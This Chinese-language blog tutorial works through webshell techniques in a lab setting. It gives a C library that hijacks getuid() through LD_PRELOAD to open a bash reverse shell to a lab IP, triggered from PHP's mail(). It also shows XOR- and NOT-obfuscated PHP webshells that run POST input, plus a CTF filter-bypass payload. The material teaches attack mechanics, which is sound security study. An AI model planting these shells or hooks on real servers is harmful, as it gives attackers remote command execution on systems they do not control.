Webshell实例分析解析

Webshell的实例分析

  • LD_PRELOAD的劫持
    • 在 web 环境中实现基于 LD_PRELOAD 的 RCE 命令执行
      • 利用 mail 函数启动新进程
  • 绕过
    • 不含字母和数字的Webshell
      • 异或
      • 取反

LD_PRELOAD的劫持

LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

简单来说,就像js里面我们构造函数的原型里面定义了一种方法,但是我们在执行时,将方法进行了重新复制,那么原来的方法就被新的给覆盖了,原来的也就不起作用了。

在一些情况下,我们想要实现我们的一些隐秘的操作,就需要对我们的进程进行一些劫持操作,从而实现执行我们想要的操作。

在 web 环境中实现基于 LD_PRELOAD 的 RCE 命令执行

利用 mail 函数启动新进程

这里我们使用php来实现我们想要的效果。
首先我们需要搭建环境,nginx和php56 php56-fpm进行结合。

测试环境

[root@localhost html]# vim phpinfo.php

<?phpphpinfo();
?>

然后在我的windows主机上查看一下。
在这里插入图片描述在虚拟机上也是可以查看的,但是因为我不是很熟悉,就不演示了。

进入正题,想要实现我们对进程的修改我们需要进行一些操作。
1、php需要启动一个新的进程
2、控制环境变量
其实也比较容易理解,想要劫持进程要先有进程,然后再通过控制变量实现我们的一些操作

较为简单的一个例子就是mail函数。
首先先看一下mail函数运行时,启动使用的各种动态链接库
在这里插入图片描述
这地下还有许多链接库,总共143个,我们不妨在里面挑选一个简单的来劫持。也就是在mail函数中,选择一个动态链接库来进行操作
在这里插入图片描述
getuid我们非常熟悉,就选它了。

然后我们就需要进行程序链接
首先我们新建一个.c结尾的文件

[root@localhost html]# vim hook_getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("bash -c 'bash -i >& /dev/tcp/192.168.235.10/2333 0>&1'");
}uid_t getuid() {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

这里的ip是指反弹的位置,这里我们使用自身去接
在这里插入图片描述
然后编译一下文件

[root@localhost html]# gcc -Wall -fPIC -shared -o hook_getuid.so hook_getuid.c

在这里插入图片描述
编译会出现警告,只要不报错,可以无视。
我们查看一下文件夹。
在这里插入图片描述
存在我们刚刚使用的两个文件里。
实现需要php文件我们再新建一个php文件,将.so加进去。

[root@localhost html]# vim web1.php

<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so');
mail("a@localhost","","","","");
?>

putenv是用来设置环境变量的,这可以在官方文档中查到,文档案例:

<?php
putenv("UNIQID=$uniqid");
?>

还要修改一下权限。

[root@localhost html]# chown -R aaa:aaa hook_getuid.so [root@localhost html]# chown -R aaa:aaa web1.php

然后上传一下。

[root@localhost html]# php web1.php

但是很遗憾我们执行之后,并没有显示我们监听到了内容。

绕过

不含字母和数字的Webshell

在wenshell中我们可以会遇到一些过滤情况,像使用正则过滤掉我们的数字和字母,这就需要我们另辟蹊径。

异或

我这里举一个简单的例子

<?phpecho "A"^"`";
?>

上面的内容乍一看,让人摸不着头脑。这里就引申到PHP的关系运算符了。
上述代码运行出来的结果是!。这里就需要想到我们的ASCII了。

在ASCII中
A为65,二进制 1000001
`为96,二进制1100000,剩下的一个“^”表示的是异或的含义。拿着分析就简单了。
异或不同为真,也就剩下了0100001,十进制也就是33,33对应ASCII中的!。

如果上面可以理解,那我们升级一下。

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

那我们就继续分析:
在PHP中,变量命名出来所谓的数字字母,还有一个下划线,这里我们就以下划线为变量,看一下运行结果。
首先是++,在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。也就是说“_=1”
然后就是异或了,经过ASCII转义,最后得出“__=B”,拿着就可以看出来了,分明显后面是调用函数,输出结果不言而喻,就是打印内容。

上面两道题看来,似乎不是很难。那就在来个升级版

<?php$_++; $__=("#"^"|"); $__.=("."^"~"); $__.=("/"^"`"); $__.=("|"^"/"); $__.=("{"^"/"); ${$__}[!$_](${$__}[$_]); 
?>

依然是很乱,但我们慢慢分析:
++得1,‘_=1’
异或操作,“__=_”,这里好像感觉多此一举,但是上面_已经复制,这里没有问题。
这里又多了一个点,也就是.=这个是拼接的意思。
我们取反拼接之后。“__=_POST”
那么最后就是这样的:
第一个$就是$,后面的{}意思就是“_POST”,后面的[],!取反操作,‘_=1’,那里面就是0,然后(),所以最后结果就是:
$_POST[0]($_POST[1]);

上面都可以理解,那接下来。

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

过滤了字母数字,可以写出解体方法了吧。

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
$_GET[_]();&

取反

取反也和我们的异或多少有点相似,这里我们就以一道例题展示一下。

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;
$____($_[$__]);

取反一般都比较复杂,显示第一行,大家就可能不理解()里面是一个比较,简单理解就是>的ASCII是否比<ASCII大,大就为真,就为1。利用了php的弱类型,true+true=2
第二行也就是2/2=1了。
后面令“____”为空,“___”为汉字,然后就是拼接了,取出汉字的第一个字符,取反,拼接进去“a”,以此类推
最后输出:assert(post[2])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/68556.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis数据库的可视化工具AnotherRedisDesktopManager使用+抖音直播小玩法实践

一、它是什么 Another Redis DeskTop Manager 是一个开源项目&#xff0c;提供了以可视化的方式管理 Redis 的功能&#xff0c;可供免费下载安装&#xff0c;也可以在此基础上进行二次开发&#xff0c;主要特点有&#xff1a; 支持 Windows 平台和 MacOS 平台 支持查询 Key、…

51单片机的管脚介绍

图文介绍 纯文字说明 单片机管脚相关结构及其作用如下 电源正极引脚 一般接5V电源&#xff0c;为单片机提供正常工作时的电压。 电源负极引脚 接地。然后才开始工作。 时钟引脚 18、19脚为时钟引脚&#xff08;XTAL2、XTAL1&#xff09;。单片机内部有大量的数字电路&a…

selenium.webdriver Python爬虫教程

文章目录 selenium安装和使用 selenium安装和使用 pip install selenium 下载对应的浏览器驱动 实例化浏览器 from selenium import webdriverbrowser webdriver.Chrome()元素定位 控制浏览器

vue3-router

一、路由 &#xff08;1&#xff09;通过 URL 区分路由的机制上&#xff0c;有两种实现方式&#xff1a; hash 模式&#xff1a;通过 URL 中 # 后面的内容做区分&#xff0c;我们称之为 hash-router&#xff1b; history 模式&#xff1a;在这种方式下&#xff0c;路由看起来和…

Revit SDK 介绍:PanelSchedule 配电盘明细表

前言 这个例子介绍 Revit 的配电盘明细表&#xff0c;PanelSchedule。Revit 的电器专业在国内用的并不是十分广泛&#xff0c;但从功能上来说还是比较完整的。 内容 这个例子里有三个命令&#xff1a; PanelScheduleExport - 导出配电盘明细表InstanceViewCreation - 创建配…

一百五十一、Kettle——Linux上安装的kettle8.2开启carte服务以及配置子服务器

一、目的 kettle8.2在Linux上安装好可以启动界面、并且可以连接MySQL、Hive、ClickHouse等数据库后&#xff0c;准备在Linux上启动kettle的carte服务 二、实施步骤 &#xff08;一&#xff09;carte服务文件路径 kettle的Linux运行的carte服务文件是carte.sh &#xff08;二…

MYSQL作业二

首先&#xff0c;查询数据库并是选择一个数据库打开 show table; use sys 第二部&#xff0c;创建一个表格 CREATE TABLE employee ( 部门号 int(11) not null, 职工号 int(11) not null, 工作时间 date not null, 工资 float(8,2) not null, 政治面貌 varchar(20) not…

微信小程序(原生)搜索功能实现

一、效果图 二、代码 wxml <van-searchvalue"{{ keyword }}"shape"round"background"#000"placeholder"请输入关键词"use-action-slotbind:change"onChange"bind:search"onSearch"bind:clear"onClear&q…

elasticsearch简单入门语法

基本操作 创建不同的分词器 ik_smart&#xff1a; 极简分词 &#xff1b; ik_max_word: 最细力再度分词 基本的rest命令 methodurl地址描述PUTlocalhost:9200/索引名称/类型名称/文档id创建文档&#xff08;指定文档id&#xff09;POSTlocalhost:9200/索引名称/类型名称创建文…

Spring对象装配

在spring中&#xff0c;Bean的执行流程为启动spring容器&#xff0c;实例化bean&#xff0c;将bean注册到spring容器中&#xff0c;将bean装配到需要的类中。 既然我们需要将bea装配到需要的类中&#xff0c;那么如何实现呢&#xff1f;这篇文章&#xff0c;将来阐述一下如何实…

打造专属花店展示小程序

在当今社会&#xff0c;微信小程序已经成为了各行各业拓展客户资源的利器&#xff0c;而花店行业也不例外。通过打造一个独特的花店小程序&#xff0c;你可以为你的花店带来更多的曝光和客户资源。那么&#xff0c;如何制作一个专属的花店小程序呢&#xff1f;下面我们就来一步…

网络编程(JavaEE初阶系列10)

目录 前言&#xff1a; 1.网络编程的基础 1.1为什么需要网络编程 1.2什么是网络编程 1.3网络编程中的基本概念 1.3.1发送端和接收端 1.3.2请求和响应 1.3.3客户端和服务端 2.Socket套接字 2.1概念 2.2分类 3.UDP数据报套接字编程 3.1DataGramSocket API 3.2Datagr…